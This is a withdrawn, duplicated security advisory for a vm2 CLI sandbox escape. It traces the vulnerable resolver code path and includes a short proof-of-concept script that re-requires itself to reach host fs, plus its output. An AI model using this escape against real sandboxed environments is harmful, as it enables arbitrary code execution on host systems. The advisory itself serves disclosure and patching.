CVE-2026-92950

vm2 before 3.11.7 contains a sandbox escape vulnerability in the CLI tool that allows attackers to execute arbitrary code in the host Node.js process. Attackers can supply a malicious script file to the vm2 CLI that uses require(__filename) to re-execute itself in the host realm, bypassing sandbox isolation and accessing host modules like fs and child_process.

vm2 before 3.11.7 contains a sandbox escape vulnerability in the CLI tool that allows attackers to execute arbitrary code in the host Node.js process. Attackers can supply a malicious script file to the vm2 CLI that uses require(__filename) to re-execute itself in the host realm, bypassing sandbox isolation and accessing host modules like fs and child_process.

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-jxxv-8r27-vm4p. This link is maintained to preserve external references.

Original Description

vm2 before 3.11.7 contains a sandbox escape vulnerability in the CLI tool that allows attackers to execute arbitrary code in the host Node.js process. Attackers can supply a malicious script file to the vm2 CLI that uses require(__filename) to re-execute itself in the host realm, bypassing sandbox isolation and accessing host modules like fs and child_process.

Summary

The vm2 command-line tool installed by npm install -g vm2 and documented in the README's "CLI" section runs the supplied script under NodeVM with require:{external:true} and no root / context / builtin configured. With these defaults the resolver loads every relative or absolute require() target through the host require() function, executing the attacker's module body in the host Node.js process before the result is ever proxied back into the sandbox. A single attacker-controlled file passed to vm2 ./script.js can call require(__filename) to re-execute itself in host realm and reach fs, child_process, etc. The documented sandbox runner is therefore equivalent to node ./script.js. No additional files, flags, or user interaction are required.

Details

The vulnerability lets a malicious sandboxed script - the file argument to the documented vm2 <file> CLI - execute arbitrary code in the host Node.js process, crossing the sandbox → host boundary that vm2 is meant to enforce.

Vulnerable code path

1. Source - bin/vm2:3 → lib/cli.js:7-18. process.argv[2] is the attacker-authored script path. The CLI invokes:

   NodeVM.file(path, { verbose: true, require: { external: true } });
   

   Without require.root, require.context, nor require.builtin.
2. Hop - lib/nodevm.js:618-636. NodeVM.file reads the file and calls new NodeVM(options).run(body, resolvedFilename).
3. Hop - lib/nodevm.js:335 → lib/resolver-compat.js:205-266 (makeResolverFromLegacyOptions). Destructures external:true, rootPaths=undefined, hostRequire=defaultRequire (line 218), context='host' (default, line 219). Because typeof externalOpt !== 'object' (line 265) it returns a CustomResolver with checkedRootPaths=undefined and pathContext = () => 'host' (line 263).
4. Hop - lib/setup-node-sandbox.js:86-123 (requireImpl). Sandbox require(id) resolves via resolver.resolve(...) (lib/nodevm.js:380-383). lib/resolver.js:244-275 handles absolute/relative specifiers; tryFile at lib/resolver.js:327-329 gates on this.isPathAllowed(x).
5. Barrier (gap) - lib/resolver-compat.js:53-54:

   isPathAllowed(filename) {
       if (this.rootPaths === undefined) return true;
   

   With no root configured, every filesystem path is allowed. checkAccess (lib/resolver.js:39-42) delegates to the same method.
6. Sink - lib/resolver-compat.js:74-77:

   loadJS(vm, mod, filename) {
       if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(...);
       const m = this.hostRequire(filename);   // ← host-realm require()
       mod.exports = vm.readonly(m);
   }
   

   hostRequire is defaultRequire (lib/resolver-compat.js:20-23) - the real host require(). The required module's top-level body executes in the host realm before vm.readonly() wraps the exports; wrapping happens too late to constrain side-effects. loadNode (lib/resolver-compat.js:80-83) is identical for .node native addons (process.dlopen in host).

PoC

Save the following as /tmp/poc.js:

'use strict';
try {
    // Host realm: fs is available - write sentinel and stop.
    const fs = require('fs');
    fs.writeFileSync('/tmp/vm2.proof', 'host pid=' + process.pid + '\n');
    console.log('HOST realm: wrote /tmp/vm2.proof');
} catch (e) {
    // Sandbox realm: require('fs') threw ENOTFOUND. Re-require this file -
    // the CLI resolver loads it via host require() (resolver-compat.js:76).
    console.log('sandbox realm: fs blocked (' + e.message + '); escaping');
    require(__filename);
}

Run via the shipped CLI exactly as the README documents:

node ./bin/vm2 /tmp/poc.js        # or `vm2 /tmp/poc.js` after `npm i -g vm2`

Observed output:

sandbox realm: fs blocked (Cannot find module 'fs'); escaping
HOST realm: wrote…

vm2 before 3.11.7 contains a sandbox escape vulnerability in the CLI tool that allows attackers to execute arbitrary code in the host Node.js process. Attackers can supply a malicious script file to the vm2 CLI that uses require(__filename) to re-execute itself in the host realm, bypassing sandbox isolation and accessing host modules like fs and child_process.

vm2 before 3.11.7 contains a sandbox escape vulnerability in the CLI tool that allows attackers to execute arbitrary code in the host Node.js process. Attackers can supply a malicious script file to the vm2 CLI that uses require(__filename) to re-execute itself in the host realm, bypassing sandbox isolation and accessing host modules like fs and child_process.